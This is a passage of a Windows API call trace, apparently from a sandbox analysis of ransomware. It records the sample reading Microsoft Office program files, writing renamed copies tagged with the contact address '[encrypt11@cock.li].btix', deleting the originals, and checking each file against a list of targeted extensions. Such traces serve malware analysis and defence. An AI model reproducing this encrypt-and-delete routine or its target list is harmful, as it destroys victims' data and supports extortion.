lpNewFilePointer=0x0) returned 1 [0048.170] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.170] GetLastError () returned 0x0 [0048.170] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x17103, lpOverlapped=0x0) returned 1 [0048.224] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x17110, lpOverlapped=0x0) returned 1 [0048.225] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.225] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0048.226] SetEndOfFile (hFile=0x308) returned 1 [0048.226] CloseHandle (hObject=0x308) returned 1 [0048.228] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.228] SetEndOfFile (hFile=0x38c) returned 1 [0048.229] CloseHandle (hObject=0x38c) returned 1 [0048.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0048.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.229] lstrlenW (lpString=".doc") returned 4 [0048.229] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0048.230] lstrlenW (lpString=".docx") returned 5 [0048.230] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0048.230] lstrlenW (lpString=".pdf") returned 4 [0048.230] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0048.230] lstrlenW (lpString=".xls") returned 4 [0048.230] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0048.230] lstrlenW (lpString=".xlsx") returned 5 [0048.230] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0048.230] lstrlenW (lpString=".ppt") returned 4 [0048.230] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0048.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.230] lstrlenW (lpString=".zip") returned 4 [0048.230] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0048.230] lstrlenW (lpString=".rar") returned 4 [0048.230] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0048.230] lstrlenW (lpString=".bz2") returned 4 [0048.230] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0048.230] lstrlenW (lpString=".7z") returned 3 [0048.230] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0048.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.230] lstrlenW (lpString=".dbf") returned 4 [0048.230] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0048.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.231] lstrlenW (lpString=".1cd") returned 4 [0048.231] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0048.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.231] lstrlenW (lpString=".jpg") returned 4 [0048.231] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0048.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.231] lstrlenW (lpString=".doc") returned 4 [0048.231] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0048.231] lstrlenW (lpString=".docx") returned 5 [0048.231] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0048.231] lstrlenW (lpString=".pdf") returned 4 [0048.231] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0048.231] lstrlenW (lpString=".xls") returned 4 [0048.231] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0048.231] lstrlenW (lpString=".xlsx") returned 5 [0048.231] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0048.231] lstrlenW (lpString=".ppt") returned 4 [0048.231] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0048.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.231] lstrlenW (lpString=".zip") returned 4 [0048.231] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0048.231] lstrlenW (lpString=".rar") returned 4 [0048.231] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0048.231] lstrlenW (lpString=".bz2") returned 4 [0048.231] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0048.231] lstrlenW (lpString=".7z") returned 3 [0048.231] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0048.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.231] lstrlenW (lpString=".dbf") returned 4 [0048.231] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0048.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.231] lstrlenW (lpString=".1cd") returned 4 [0048.231] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0048.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0048.232] lstrlenW (lpString=".jpg") returned 4 [0048.232] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0048.232] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.232] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53 [0048.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.233] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=387356) returned 1 [0048.233] CloseHandle (hObject=0x38c) returned 1 [0048.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0048.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0048.233] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.233] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.233] GetLastError () returned 0x0 [0048.233] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x5e91c, lpOverlapped=0x0) returned 1 [0048.409] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x5e920, lpOverlapped=0x0) returned 1 [0048.415] ReadFile (in: hFile=0x38c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.415] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0048.415] SetEndOfFile (hFile=0x308) returned 1 [0048.415] CloseHandle (hObject=0x308) returned 1 [0048.421] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.421] SetEndOfFile (hFile=0x38c) returned 1 [0048.424] CloseHandle (hObject=0x38c) returned 1 [0048.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0048.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0048.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.426] lstrlenW (lpString=".doc") returned 4 [0048.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.426] lstrlenW (lpString=".docx") returned 5 [0048.426] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.426] lstrlenW (lpString=".pdf") returned 4 [0048.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.426] lstrlenW (lpString=".xls") returned 4 [0048.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.426] lstrlenW (lpString=".xlsx") returned 5 [0048.426] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.426] lstrlenW (lpString=".ppt") returned 4 [0048.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.426] lstrlenW (lpString=".zip") returned 4 [0048.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.426] lstrlenW (lpString=".rar") returned 4 [0048.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.426] lstrlenW (lpString=".bz2") returned 4 [0048.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.426] lstrlenW (lpString=".7z") returned 3 [0048.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.426] lstrlenW (lpString=".dbf") returned 4 [0048.426] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.426] lstrlenW (lpString=".1cd") returned 4 [0048.426] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.426] lstrlenW (lpString=".jpg") returned 4 [0048.426] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.427] lstrlenW (lpString=".doc") returned 4 [0048.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.427] lstrlenW (lpString=".docx") returned 5 [0048.427] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.427] lstrlenW (lpString=".pdf") returned 4 [0048.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.427] lstrlenW (lpString=".xls") returned 4 [0048.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.427] lstrlenW (lpString=".xlsx") returned 5 [0048.427] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.427] lstrlenW (lpString=".ppt") returned 4 [0048.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.427] lstrlenW (lpString=".zip") returned 4 [0048.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.427] lstrlenW (lpString=".rar") returned 4 [0048.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.427] lstrlenW (lpString=".bz2") returned 4 [0048.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.427] lstrlenW (lpString=".7z") returned 3 [0048.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.427] lstrlenW (lpString=".dbf") returned 4 [0048.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.427] lstrlenW (lpString=".1cd") returned 4 [0048.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0048.427] lstrlenW (lpString=".jpg") returned 4 [0048.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.428] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.428] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53 [0048.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.429] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1261) returned 1 [0048.429] CloseHandle (hObject=0x308) returned 1 [0048.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0048.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.429] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.429] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.435] GetLastError () returned 0x0 [0048.435] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0048.552] WriteFile (in: hFile=0x398, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0048.552] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.552] WriteFile (in: hFile=0x398, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0048.553] SetEndOfFile (hFile=0x398) returned 1 [0048.553] CloseHandle (hObject=0x398) returned 1 [0048.554] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.554] SetEndOfFile (hFile=0x308) returned 1 [0048.554] CloseHandle (hObject=0x308) returned 1 [0048.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0048.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0048.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.555] lstrlenW (lpString=".doc") returned 4 [0048.555] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.555] lstrlenW (lpString=".docx") returned 5 [0048.555] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.555] lstrlenW (lpString=".pdf") returned 4 [0048.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.555] lstrlenW (lpString=".xls") returned 4 [0048.555] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.555] lstrlenW (lpString=".xlsx") returned 5 [0048.555] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.555] lstrlenW (lpString=".ppt") returned 4 [0048.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.556] lstrlenW (lpString=".zip") returned 4 [0048.556] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.556] lstrlenW (lpString=".rar") returned 4 [0048.556] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString=".bz2") returned 4 [0048.556] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString=".7z") returned 3 [0048.556] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.556] lstrlenW (lpString=".dbf") returned 4 [0048.556] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.556] lstrlenW (lpString=".1cd") returned 4 [0048.556] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.556] lstrlenW (lpString=".jpg") returned 4 [0048.556] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.556] lstrlenW (lpString=".doc") returned 4 [0048.556] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString=".docx") returned 5 [0048.556] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.556] lstrlenW (lpString=".pdf") returned 4 [0048.556] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString=".xls") returned 4 [0048.556] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString=".xlsx") returned 5 [0048.556] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.556] lstrlenW (lpString=".ppt") returned 4 [0048.556] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.557] lstrlenW (lpString=".zip") returned 4 [0048.557] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.557] lstrlenW (lpString=".rar") returned 4 [0048.557] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.557] lstrlenW (lpString=".bz2") returned 4 [0048.557] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.557] lstrlenW (lpString=".7z") returned 3 [0048.557] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.557] lstrlenW (lpString=".dbf") returned 4 [0048.557] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.557] lstrlenW (lpString=".1cd") returned 4 [0048.557] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0048.557] lstrlenW (lpString=".jpg") returned 4 [0048.557] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.557] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.557] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53 [0048.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.557] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1261) returned 1 [0048.557] CloseHandle (hObject=0x308) returned 1 [0048.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0048.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft 